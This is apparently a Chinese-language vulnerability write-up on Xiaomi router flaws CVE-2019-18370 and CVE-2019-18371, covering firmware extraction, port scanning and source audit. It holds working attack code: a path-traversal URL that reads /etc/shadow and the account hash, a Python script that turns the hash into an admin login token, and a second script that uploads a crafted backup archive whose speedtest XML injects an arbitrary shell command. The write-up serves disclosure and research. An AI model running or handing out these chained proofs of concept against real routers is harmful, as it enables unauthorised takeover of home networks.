小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)

discoverer: UltramanGaia & Zhiniang Peng from 360 Core Security

1. 信息收集

google hacking

小米路由器稳定版固件root用户弱口令

小米路由器参数过滤不严命令执行漏洞

小米路由器隐私盘功能可绕过访问控制

小米路由器参数过滤绕过命令执行漏洞2

小米路由器管理页面任意命令执行能够拿到系统控制权

小米路由器过滤不严可root权限修改启动项开ssh

Openwrt漏洞挖掘之不要用小米路由偷偷下小电影哦

小米路由器_hookWifiConnect函数RCE漏洞

小米路由器HD(R3D)爆出远程代码执行漏洞CVE-2018-14060

在2.26.4设备之前,小米R3D上的/ cgi-bin / luci / api / misystem / set_router_wifiap中的AP模式设置功能中的OS命令注入允许攻击者通过精心制作的JSON数据执行任何命令。

收获信息

  • 小米路由器型号多,功能比较多,洞也挺多的

  • 路由器固件结构 –> 找到了解压固件的方法

  • 路由器操作系统 –> OpenWrt

  • 路由器Web –> LuCI

  • 常见漏洞(开发人员知识盲点)

2. 固件获取&解包

固件获取

固件获取方式常见有两种,一是官网下载,二是硬件提取。这里,小米路由器官方就提供了下载ROM for R3G 稳定版2.28.23(12月2日更新)ROM for R3G 开发版2.25.124(10月30日更新)

固件解包

在前面的信息收集阶段,我们已经知道了固件的解压方式。

小米路由器mini固件分析

xiaomi_extract.c

#include <stdio.h>

struct {
    char magic[4];
    int size;
    unsigned int crc;
    short type;
    short model;
    unsigned int offset[4];
} header;

struct {
    char magic[4];
    unsigned int reserved;
    int size;
    unsigned int reserved2;
    char filename[32];
} section;

int main(int argc, char *argv[]) {
    int i, j;
    int size;
    FILE *input;
    FILE *output;
    char buffer[1024];

    if (argc < 2) {
        fprintf(stderr, "Usage: split filename\n");
        return 1;
    }
    if ((input = fopen(argv[1], "rb")) == NULL) {
        fprintf(stderr, "File %s open error\n", argv[1]);
        return 1;
    }
    if (fread(&header, 1, sizeof(header), input) != sizeof(header)) {
        fprintf(stderr, "File %s read error\n", argv[1]);
        return 1;
    }
    for (i=0; i<4; i++) {
        if (header.offset[i] == 0)
            continue;
        fseek(input, header.offset[i], SEEK_SET);
        if (fread(&section, 1, sizeof(section), input) != sizeof(section))
            continue;
        if ((output = fopen(section.filename, "wb")) == NULL) {
            fprintf(stderr, "File %s open error\n", section.filename);
            continue;
        }
        printf("Create file %s\n", section.filename);
        for (j=0; j<section.size; j+=sizeof(buffer)) {
            size = section.size-j;
            if (size > sizeof(buffer))size = sizeof(buffer);
            if (fread(buffer, 1, size, input) != size)
                break;
            fwrite(buffer, 1, size, output);
        }
        fclose(output);
    }
    fclose(input);

    return 0;
}

编译,运行,分离出三个文件

gcc -o xiaomi_extract xiaomi_extract.c
./xiaomi_extract ../miwifi_r3g_firmware_12f97_2.25.124_dev.bin

执行file命令

file root.ubi

ubi文件,可以用ubi_reader解压。

ubireader_extract_images root.ubi

生成img-1592734593_vol-ubi_rootfs.ubifs

执行file命令

file img-1592734593_vol-ubi_rootfs.ubifs

Squashfs文件,可以用unsquashfs命令解压

unsquashfs img-1592734593_vol-ubi_rootfs.ubifs

可以看到里面的完整的文件系统了。

此外,还有别的简单方法,包括开发版刷ssh,ssh连进去tar打包,或者使用mkxqimage -x进行解压。

3. 固件分析

在分析之前,先看下有什么服务。

常用操作是nmap扫所有端口,

nmap -sT -vv -p 1-65535 192.168.31.1
PORT     STATE    SERVICE        REASON
22/tcp   open     ssh            syn-ack
53/tcp   open     domain         syn-ack
80/tcp   open     http           syn-ack
514/tcp  filtered shell          no-response
784/tcp  open     unknown        syn-ack
5081/tcp open     sdl-ets        syn-ack
8098/tcp open     unknown        syn-ack
8188/tcp open     unknown        syn-ack
8190/tcp open     gcp-rphy       syn-ack
8191/tcp open     limnerpressure syn-ack
8192/tcp open     sophos         syn-ack
8193/tcp open     sophos         syn-ack
8194/tcp open     sophos         syn-ack
8195/tcp open     blp2           syn-ack
8196/tcp open     unknown        syn-ack
8197/tcp open     unknown        syn-ack
8198/tcp open     unknown        syn-ack
8380/tcp open     cruise-update  syn-ack
8381/tcp open     unknown        syn-ack
8382/tcp open     unknown        syn-ack
8383/tcp open     m2mservices    syn-ack
8384/tcp open     marathontp     syn-ack
8385/tcp open     unknown        syn-ack
8899/tcp open     ospf-lite      syn-ack
8999/tcp open     bctp           syn-ack

当然,其实我们有刷开发版ssh,直接查看监听的端口即可。

netstat -nlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address       Foreign Address     State     in out PID/Program name
tcp    0    0 0.0.0.0:22        0.0.0.0:*         LISTEN     0 416 4877/dropbear
tcp    0    0 0.0.0.0:53        0.0.0.0:*         LISTEN     0 3016 4692/dnsmasq
tcp    0    0 0.0.0.0:80        0.0.0.0:*         LISTEN     0 74672 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:5081        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8098        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8188        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8190        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8191        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8192        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8193        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8194        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8195        0.0.0.0:*         LISTEN     0 4784 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8196        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8197        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8380        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8381        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8382        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8383        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8384        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8385        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8899        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8999        0.0.0.0:*         LISTEN     0 52 3921/sysapihttpd.co
tcp    0    0 0.0.0.0:8198        0.0.0.0:*         LISTEN     0 52 4350/mihttpd.conf
tcp    0    0 0.0.0.0:784         0.0.0.0:*         LISTEN     0 104 5104/trafficd
tcp    0    0 127.0.0.1:9088      0.0.0.0:*         LISTEN     0 52 5152/indexservice
tcp    0    0 127.0.0.1:9091      0.0.0.0:*         LISTEN     0 312 5335/plugincenter
tcp    0    0 127.0.0.1:8960      0.0.0.0:*         LISTEN     0 0 3997/fcgi-cgi
tcp    0    0 127.0.0.1:8920      0.0.0.0:*         LISTEN     0 52 3504/fcgi-cgi
tcp    0    0 127.0.0.1:9090      0.0.0.0:*         LISTEN     0 416 5215/datacenter
tcp    0    0 127.0.0.1:9096      0.0.0.0:*         LISTEN     0 23972 6572/smartcontrolle
tcp    0    0 127.0.0.1:9898      0.0.0.0:*         LISTEN     0 52 5503/rule_mgr
tcp    0    0 :::53           :::*            LISTEN     0 0 4692/dnsmasq
tcp    0    0 :::22           :::*            LISTEN     0 0 4877/dropbear
udp    0    0 0.0.0.0:53        0.0.0.0:*                114851 208127 4692/dnsmasq
udp    0    0 0.0.0.0:67        0.0.0.0:*                1964 2214 4692/dnsmasq
udp    0    0 0.0.0.0:3478        0.0.0.0:*                108 252 5019/stunserver
udp    0    0 :::547          :::*                 0 0 4692/dnsmasq
udp    0    0 :::53           :::*                 0 0 4692/dnsmasq
raw    0    0 ::%4768184:58       ::%4633928:*        58       9223209034255958016 8643837979766243328 4692/dnsmasq
Active UNIX domain sockets (only servers)
Proto RefCnt Flags     Type     State     I-Node PID/Program name    Path
unix  2    [ ACC ]     STREAM     LISTENING     1128 741/syslog-ng     /dev/log
unix  2    [ ACC ]     STREAM     LISTENING     1131 741/syslog-ng     /var/syslog-ng.ctl
unix  2    [ ACC ]     STREAM     LISTENING     3245 932/ubusd       /var/run/ubus.sock
unix  2    [ ACC ]     STREAM     LISTENING     6833 5793/lua        /var/run/miqosd.sock

可以看到监听了很多端口。

  • 22端口 dropbear ,ssh服务,稳定版没开启
  • dnsmasq,dns服务
  • nginx,开了大量端口

Web漏洞分析

任意文件读取漏洞

nginx: master process /usr/sbin/sysapihttpd -c /tmp/sysapihttpdconf/sysapihttpd.conf

配置文件中找到了多处nginx配置错误导致回溯上级目录的文件读漏洞,且存在根目录任意文件读取漏洞

location /backup/log {
  alias /tmp/syslogbackup/;
}

可读取/tmp/目录下文件。

location /api-third-party/download/public {
  alias /userdisk/data/;
}
location /api-third-party/download/private {
  alias /userdisk/appdata/;
}

可读取/userdisk/目录下文件。

location /api-third-party/download/extdisks {
  alias /extdisks/;
}

可读取/目录下文件

http://192.168.31.1/api-third-party/download/extdisks../etc/shadow

利用任意文件读取漏洞实现后台登录

尝试通过任意文件读取漏洞实现登录后台,不是明文存储密码,需要进行一定分析。关注两个过程,一是登录时前端js生成http post请求参数过程,二是验证用户登陆的后端过程。

  • 登录时前端js生成http post请求参数过程

    var Encrypt = {
        key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
        iv: '64175472480004614961023454661220',
        nonce: null,
        init: function(){
            var nonce = this.nonceCreat();
            this.nonce = nonce;
            return this.nonce;
        },
        nonceCreat: function(){
            var type = 0;
            // 自己的mac地址
            var deviceId = '<%=mac%>';
            var time = Math.floor(new Date().getTime() / 1000);
            var random = Math.floor(Math.random() * 10000);
            return [type, deviceId, time, random].join('_');
        },
        oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
            return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
        },
      //...
    };

    可知oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')),登陆请求包为

    POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
    Host: 192.168.31.1
    
    username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_时间戳_5248

  • 验证用户登陆的后端过程

调用XQSecureUtil.checkUser函数

function checkUser(user, nonce, encStr)
    -- 从xiaoqiang 配置文件中读取信息
    local password = XQPreference.get(user, nil, "account")
    if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
        if XQCryptoUtil.sha1(nonce..password) == encStr then
            return true
        end
    end
    XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
    return false
end

跟进XQPreference.get函数易知道是从/etc/config/account文件中读取某个字符串,这里称它为accountStr

checkUser函数判断等式为(encStr为参数oldPwd)

sha1(nonce + sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
==
sha1(nonce + accountStr)

accountStr == sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')

故,只需要读取/etc/config/account得到accountStr即可构造如下数据包登陆

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: 192.168.31.1

username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_时间戳_5248

实现任意登陆poc

arbitrary_file_read_vulnerability.py

import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

def get_mac():
    ## get mac
    r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
    mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
    # print(mac)    
    return mac

def get_account_str():
    ## read /etc/config/account
    r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
    print(r1.text)
    account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
    return account_str

def create_nonce(mac):
    type_ = 0
    deviceId = mac
    time_ = int(time.time())
    rand = random.randint(0,10000)
    return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):
    m = hashlib.sha1()
    m.update((nonce + account_str).encode('utf-8'))
    return m.hexdigest()

mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login", 
    data = data, 
    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
    proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)

命令执行漏洞

在审计lua代码过程中,发现备份配置文件是tar.gz格式的,在恢复备份配置文件时,直接通过tar -xzf解压到/tmp目录,在/usr/lib/lua/luci/controller/api/misystem.lua中,

function cUpload()
    local LuciFs = require("luci.fs")
    local XQBackup = require("xiaoqiang.module.XQBackup")
    local code = 0
    local canupload = true
    local uploadFilepath = "/tmp/cfgbackup.tar.gz"
    local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
    if fileSize > 102400 then
        canupload = false
    end
    -- 写文件
    LuciHttp.setfilehandler(
        function(meta, chunk, eof)
            if canupload then
                if not fp then
                    if meta and meta.name == "image" then
                        fp = io.open(uploadFilepath, "w")
                    end
                end
                if chunk then
                    fp:write(chunk)
                end
                if eof then
                    fp:close()
                end
            else
                code = 1630
            end
        end
    )
    if LuciHttp.formvalue("image") and fp then
        code = 0
    end
    local result = {}
    if code == 0 then
        -- 解压备份文件
        local ext = XQBackup.extract(uploadFilepath)
        if ext == 0 then
            result["des"] = XQBackup.getdes()
        else
            code = 1629
        end
    end
    if code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(code)
        LuciFs.unlink(uploadFilepath)
    end
    result["code"] = code
    LuciHttp.write_json(result)
end

其中调用XQBackup.extract(uploadFilepath)进行解压

-- 0:succeed
-- 1:file does not exist
-- 2:no description file
-- 3:no mbu file
function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end
    os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access(DESFILE) then
        return 2
    end
    if not fs.access(MBUFILE) then
        return 3
    end
    return 0
end

那么,通过构造压缩包,可以上传任意文件到/tmp目录,即/tmp目录任意文件可控。

接下来找控制/tmp目录下文件能够做什么。

使用grep大法,发现/usr/bin/upload_speedtest,/usr/bin/download_speedtest等会读取/tmp/speedtest_urls.xml并提取url直接进行命令拼接,且这几个脚本可以通过web接口调用

如,/usr/bin/download_speedtest文件

#!/usr/bin/env lua
-- ...
local cfg = {
-- ...
    ['xmlfile'] = "/usr/share/speedtest.xml",
        ['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}
VERSION="__UNDEFINED__"
-- ...
-- 测试网速使用的url文件为,若存在/tmp/speedtest_urls.xml则使用,否则用/usr/share/speedtest.xml
local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
    filexml:close()
    filename = cfg.tmp_speedtest_xml
else
    filename = cfg.xmlfile
end

local pp = io.open(filename)
local line = pp:read("*line")
local size = 0
local resources = {}
local u = ""
local pids = {}
-- ...
function wget_work(url)
    local _url = url
    pid = posix.fork()
    if pid < 0 then
        print("fork error")
        return -1
    elseif pid > 0 then
        --print(string.format("child pid %d\n", pid))
    else
        -- 拼接命令,最终在这里执行
        os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url  ..
        " -q -O /dev/null; done")
    end
    return pid
end

while line do
    -- 从文件中提取url, 这里提取没有进行过滤
    local _, _, url = string.find(line,'<item url="(.*)"/>')
    if url then
        table.insert(resources, url)
    end
    line = pp:read("*line")
end
pp:close()

local urls = mrandom(1, table.getn(resources), cfg.nc)

for k, v in ipairs(urls) do
    if VERSION == "LESSMEM" then
        local pid = wget_work_loop(resources[v])
    else
        -- VERSION 为 __UNDEFINED__, url直接作为参数
        local pid = wget_work(resources[v])
    end
    if(pid == 0) then
        os.exit(0)
    elseif(pid == -1) then
        done()
    end
end

调用的地方有好几个,如/usr/lib/lua/luci/controller/api/xqnetdetect.lua

function netspeed()
    local XQPreference = require("xiaoqiang.XQPreference")
    local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest")
    local code = 0
    local result = {}
    local history = LuciHttp.formvalue("history")
    if history then
        result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang"))
        result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth))
        result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang"))
        result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2))
    else
        os.execute("/etc/init.d/miqos stop")
        -- 这里调用了downloadSpeedTest
        local download = XQNSTUtil.downloadSpeedTest()
        if download then
            result["download"] = download
            result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024))
            XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang")
        else
            code = 1588
        end
        if code ~= 0 then
           result["msg"] = XQErrorUtil.getErrorMessage(code)
        end
        os.execute("/etc/init.d/miqos start")
    end

    result["code"] = code
    LuciHttp.write_json(result)
end
function downloadSpeedTest()
    local speedtest = "/usr/bin/download_speedtest"
    local speed
    -- 直接调用lua文件
    for _, line in ipairs(LuciUtil.execl(speedtest)) do
        if not XQFunction.isStrNil(line) and line:match("^avg rx:") then
            speed = line:match("^avg rx:(%S+)")
            if speed then
                speed = tonumber(string.format("%.2f",speed/8))
            end
            break
        end
    end
    return speed
end

所以,我们只需要构造恶意的speedtest_urls.xml文件,构造配置文件,上传配置文件,然后调用网络测试相关的接口,即可以实现命令注入。

实现命令执行poc

template.xml

<?xml version="1.0"?>
<root>
    <class type="1">
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    </class>
    <class type="2">
        <item url="http://192.168.31.1 -q -O /dev/null;{command}>/tmp/1.txt; exit; wget http://192.168.31.1  "/>
    </class>
    <class type="3">
        <item uploadurl="http://www.taobao.com/"/>
        <item uploadurl="http://www.so.com/"/>
        <item uploadurl="http://www.qq.com/"/>
        <item uploadurl="http://www.sohu.com/"/>
        <item uploadurl="http://www.tudou.com/"/>
        <item uploadurl="http://www.360doc.com/"/>
        <item uploadurl="http://www.kankan.com/"/>
        <item uploadurl="http://www.speedtest.cn/"/>
    </class>
</root>

remote_command_execution_vulnerability.py

import os
import tarfile
import requests

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

## get stok
stok = input("stok: ")

## make config file
command = input("command: ")
speed_test_filename = "speedtest_urls.xml"
with open("template.xml","rt") as f:
    template = f.read()
data = template.format(command=command)
# print(data)
with open("speedtest_urls.xml",'wt') as f:
    f.write(data)

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    # tar.add("cfg_backup.des")
    # tar.add("cfg_backup.mbu")
    tar.add("speedtest_urls.xml")

## upload config file
print("start uploading config file ...")
r1 = requests.post("http://192.168.31.1/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)

## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://192.168.31.1/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
# print(r2.text)

## read result file
r3 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
    print("success, vul")
    print(r3.text)

4. 漏洞影响

本次测试使用的是ROM for R3G最新版固件进行漏洞挖掘,实现了后台登录和命令执行。经测试,在R3A最新版和R4最新版上成功命令执行,判断为系列型漏洞,影响范围较广。(时间:2019-03-09)

POC


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com